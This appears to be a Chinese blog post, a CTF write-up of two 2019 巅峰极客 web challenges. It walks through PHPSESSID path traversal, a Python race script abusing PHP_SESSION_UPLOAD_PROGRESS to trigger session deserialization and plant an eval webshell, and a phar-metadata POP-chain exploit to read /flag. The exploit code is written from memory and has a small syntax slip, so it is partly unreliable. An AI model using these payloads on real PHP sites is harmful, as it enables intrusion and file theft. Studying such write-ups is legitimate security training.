N0rth3ty's Blog.

2019巅峰极客Web WP

字数统计: 3.3k阅读时长: 17 min
2019/10/28 Share

时隔半年,博客又重新开始更新了
最近不少感触,然后之前很多东西都记在本地没能发博客
现在觉得还是有写博客的必要(毕竟还有人问我是不是不更新了
然后后续可能会补一些之前的文章上来,也会补一下之前的比赛

回到正题
大半年来一直在实战一线,对于我ctf确实是有点疏远了,深刻反思
重回赛棍生涯

这次是跟Kn0ck一起打的,队里大佬很多,受教了

lol

这道题我其实就差一点,然后大半年没打比赛状态确实有所下滑,中午就拿到源码
然后一直卡着,最后快结束了想起来serialize_handler这里可以反序列化
但是无奈好久没调过反序列化(我太难了,比赛结束后终于调通了
最后看了榜单发现就差这一道题进决赛,虽然说主力都去bytectf线下了
但是需要我c的时候我再一次没能站出来,扯远了

经过一些简单测试后发现可以自定义PHPSESSID来控制文件名,可以穿越目录写
但是会被强制重命名为jpg后缀,所以也没办法上传.htaccess文件

进一步测试发现读文件也是通过PHPSESSID来控制路径的
通过设置PHPSESSID来设置路径,访问index.php获取源码
这是后续的一些源码读取

1
2
3
4
5
6
7
8
GET /download/core.php HTTP/1.1
Host: aca38d6c997545428e973005b40f06d939b55bca16494c95.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=../core/; __jsluid_h=1c0d15ef15b9cbe115c20203495204fd
Upgrade-Insecure-Requests: 1

image

关键点在于这几个文件

core/config.php

1
2
3
4
5
6
7
8
<?php
$config=array(
'debug'=>'false',
'ini'=>array(
'session.name' => 'PHPSESSID',
'session.serialize_handler' => 'php'
)
);

其实看到这个serialize_handler就有所感觉来(感觉是为来出题而出题,正常没见到这样的代码啊,至少没在config里见过
联想到用serialize_handler触发反序列化,可以参照LCTF的一道题目

先简单看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Cache{
public $data;
public $sj;
public $path;
public $html;
function __construct($data){
$this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
$this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
$this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
$this->path=Cache_DIR.DS.session_id().'.php';
}

function __destruct(){
$this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

if(file_put_contents($this->path,$this->html)){
include($this->path);
}
}
}

最先感觉有问题的是这个类,能够写文件并且包含,思考能不能直接写一个shell
但是进一步去跟会发现

1
2
3
$this->data['method']=san(empty($this->url['1'])?'index':$this->url['1']);
$this->data['param']=san(isset($this->url['2'])?$this->url['2']:'');
$this->data['post']=san($_POST);

可控的点在传入的时候已经被过滤了

所以我们能绕过这个点直接通过反序列化对data进行赋值吗?
那肯定是可以的,现在的问题的关键是如何把序列化后的值传入到session

我们需要了解php的session反序列化机制

可以参考这篇文章
http://www.gtfly.top/2019/08/25/PHP-SESSION%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6.html

通过PHP_SESSION_UPLOAD_PROGRESS即可控制session

根据回忆写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading

url='http://ip/index.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST(payload):
while True:
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":payload
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://ip", headers=headers)
event=threading.Event()
event.set()
threading.Thread(target=POST,args=(payload)).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

差不多就是这个意思吧(逃
这个点其实还可以用于文件包含,后面再专门总结(flag++
简单总结为在上传文件的同时POST PHP_SESSION_UPLOAD_PROGRESS,其值为上面的payload,同时设置Cookie;之后再使用相同的Cookie去访问即可通过session反序列化机制触发session反序列化
但是因为是竞争问题所以要多线程

生成payload

1
2
3
4
5
$a = new Cache();
$a -> data['message'] ="<?php eval(\$_GET['a'];)?>";
//$a -> data['name'] = 1;
//$a -> data['image'] = 1;
var_dump(serialize($a));

反复cat /flag即可获得flag

upload

image
这么些功能点,简单看一下
可以读取任意文件
image
一个上传,下载给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}

已经有file可以任意文件读取感觉这个下载没啥用啊

然后看别人wp有人是利用下载来下载的源文件
用反斜杠时可以成功读取文件

利用file读文件,猜一下目录file.php?file=/var/www/html/index.php
index.php

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>

base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>upload_or_not</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
<li><a href="download.php">下载文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in /flag-->

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
die('hacker!');
}elseif(!preg_match('/\//i',$file))
{
die('hacker!');
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php'; //获取文件名称
$dir ="./"; //相对于网站根目录的下载目录路径
$down_host = $_SERVER['HTTP_HOST'].'/'; //当前域名
//判断如果文件存在,则跳转到下载路径
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );

//告诉浏览器这是一个文件流格式的文件
Header ( "Content-type: application/octet-stream" );
//请求范围的度量单位
Header ( "Accept-Ranges: bytes" );
//Content-Length是指定包含于请求或响应中数据的字节长度
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
//用来告诉浏览器,文件是可以当做附件被下载,下载后的文件名称为$file_name该变量的值。
Header ( "Content-Disposition: attachment; filename=" . $filename );

//读取文件内容并直接输出到浏览器
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}


//return safe name
function safe_replace($string) {
$string = str_replace('%20','&quot;',$string);
$string = str_replace('%27','&quot;',$string);
$string = str_replace('%2527','&quot;',$string);
$string = str_replace('*','&quot;',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'&quot;',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace(';','&quot;',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'&quot;',$string);
$string = str_replace('}','&quot;',$string);
$string = str_replace('\\','',$string);
return $string;
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Show
{
public $source;
public $str;
public function __construct($file)
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}

class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;

}
public function __destruct()
{
$this->str->_show();
}
}
?>

有文件上传,考虑直接getshell,或者用phar触发反序列化
我们先审计一下上传点的代码
check函数是一个白名单,那我们考虑一下phar
可以看到有能触发phar的点
file.php中的file_exists

1
2
3
4
if(file_exists($file)) {
$show->source = $file;
$show->_show();
}

再看看有没有可以利用的类,因该都在class.php中了

image
Sh0w类中调用了_show但是这个方法本身做了过滤,没办法直接读到flag
然后可以看到有file_get_contents,能否把get到的值输出出来呢?
可以看到s6ow这个类
image
file_get函数可以调用echo
然后__call本身可以调用其他方法
那么思考能否return一个任意文件然后同过__call调用file_get

整理一下思路,pop链如下
通过file_get触发__tostring,所以把s6ow的file设置为Show即可
要触发S6ow的__call,所有把sh0w的str设置为S6ow,因为sh0w中触发了_show
要触发file_get,需要s6ow中call的变量为file_get,因为我们call的_show,然后又可以通过__get设置,所以设置s6ow的params['_show']='file_get'
然后就是一个完整的pop链(我已经尽力描述清楚了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php

class Show
{
public $source; // /flag
public $str;
public function __construct()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file; // show
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key]; // [_show => file_get ]
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}

class Sh0w
{
public $test;
public $str; // S6ow
public function __construct()
{
$this->str = new Show('index.php');
$this->str->source = $this->test;

}
public function __destruct()
{
$this->str->_show();
}
}

$c = new Sh0w();
$c->str = new S6ow();
$c->str->params["_show"] = "file_get";
$c->str->file = new Show();
$c->str->file->source = "/flag";
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();

CATALOG
  1. 1. lol
  2. 2. upload